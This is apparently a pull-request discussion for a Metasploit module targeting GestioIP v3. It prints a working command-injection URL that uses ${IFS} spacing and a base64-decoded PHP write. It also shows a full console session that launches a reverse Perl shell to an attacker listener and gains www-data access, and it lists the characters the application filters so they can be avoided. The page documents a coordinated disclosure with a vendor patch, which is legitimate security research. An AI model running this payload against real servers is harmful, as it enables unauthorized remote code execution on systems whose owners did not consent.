GestioIP v3 Authenticated Remote Command Execution

[brandonprry]

GestioIP v3 Remote Command Execution

GestioIP v3 (and possibly other versions prior) is susceptible to a remote command execution vulnerability in the ip_checkhost.cgi page. An attacker can craft a special HTTP request to ping an IPv6 address to achieve remote command execution.

Example request with payload:

http://192.168.1.14/gestioip/ip_checkhost.cgi?ip=2607:f0d0:$(echo${IFS}PD9waHAKCiAgcGhwaW5mbygpOwo/Pgo=|base64${IFS}--decode|tee${IFS}phpinfo.php):0000:0000:0000:0000:0004&hostname=fsd&client_id=1&ip_version=

No spaces are allowed, but you can get around this restriction by using ${IFS} in place of spaces. The above payload will create a small PHP script with phpinfo() in it on the root of the application. The total payload size limit is 500 characters max, so there isn't a whole lot of space to play in.

By not specifying an ip_version in the query string, any extra sanitization/checking of the payload does not occur since the application checks explicitly for ipv4 or ipv6 as the values. The address in the query string is passed to the ping6 utility and the command is executed with system().

bperry@ubuntu:~/tools/metasploit-framework$ ./msfconsole -q 
msf > use exploit/multi/http/gestioip_exec 
msf exploit(gestioip_exec) > set PAYLOAD cmd/unix/reverse_perl 
msf exploit(gestioip_exec) > set LHOST 172.31.16.15 
msf exploit(gestioip_exec) > set USE_AUTH true 
msf exploit(gestioip_exec) > set RHOST 172.31.16.50 
msf exploit(gestioip_exec) > show options 

Module options (exploit/multi/http/gestioip_exec): 

   Name      Current Setting  Required  Description 
   ----      ---------------  --------  ----------- 
   PASSWORD  password         no        The password to auth with 
   Proxies                    no        Use a proxy chain 
   RHOST     172.31.16.50     yes       The target address 
   RPORT     80               yes       The target port 
   URI       /gestioip/       yes       URI 
   USERNAME  gipadmin         no        The username to auth as 
   USE_AUTH  true             yes       Whether to attempt basic authentication or not 
   VHOST                      no        HTTP server virtual host 

Payload options (cmd/unix/reverse_perl): 

   Name   Current Setting  Required  Description 
   ----   ---------------  --------  ----------- 
   LHOST  172.31.16.15     yes       The listen address 
   LPORT  4444             yes       The listen port 

Exploit target: 

   Id  Name 
   --  ---- 
   0   Automatic GestioIP 3.0 

msf exploit(gestioip_exec) > exploit 

[*] Started reverse handler on 172.31.16.15:4444 
[*] Command shell session 1 opened (172.31.16.15:4444 -> 172.31.16.50:49605) at 2013-10-03 07:37:46 -0700 

id 
uid=33(www-data) gid=33(www-data) groups=33(www-data) 
^C 
Abort session 1? [y/N]  y 

[*] 172.31.16.50 - Command shell session 1 closed.  Reason: User exit 
msf exploit(gestioip_exec) > 

Disclosure timeline:

Oct 2 – Initial Discovery
Oct 3 – Initial Metasploit Module and Vendor Contact, sent PGP key
Oct 3 – Vendor response with PGP key, details of vuln sent
Oct 3 – Vendor releases patch (http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/)

Vulnerable version available in a base64-encoded flavor in this gist: https://gist.github.com/brandonprry/6826061/raw/b2b024a8eb137cd77785c40c5682f7174c048e25/gistfile1.txt

Should be able to wget the file and pipe into base64 --decode

This vulnerability has been fixed with the following commit:
http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/

[todb-r7]

So it looks like authentication is optional? Is there ever a normal case where you wouldn't use it? I'm reading the docs, here: http://www.gestioip.net/docu/Documentacion_GestioIP_30_en.pdf

and to quote 6.3.1 Default authentication:

GestióIP's default authentication works with “HTTP Basic Authentication”. During the setup, the administrator creates manually the default users "gipoper" and "gipadmin (using the command “htpasswd”). That means that there is no “default password”. The users are authenticated with the password which were created during setup.

Is it possible to install without a password?

Also, what privilege level is needed to exercise the vuln? Must you be gipadmin? Or will gipoper or any other user do?

[brandonprry]

You can be gipoper and I have found instances where no authentication is required (but it is not the default setup).

[todb-r7]

Cool, so any user will do, and if no auth is configured, it's a no auth vuln.

[brandonprry]

Hey @jvazquez-r7

Bad chars are essentially ;`'<>^%#* Including the space. This was why I ended up using base64 encoding. These are defined in ip_checkhost.cgi on line 48.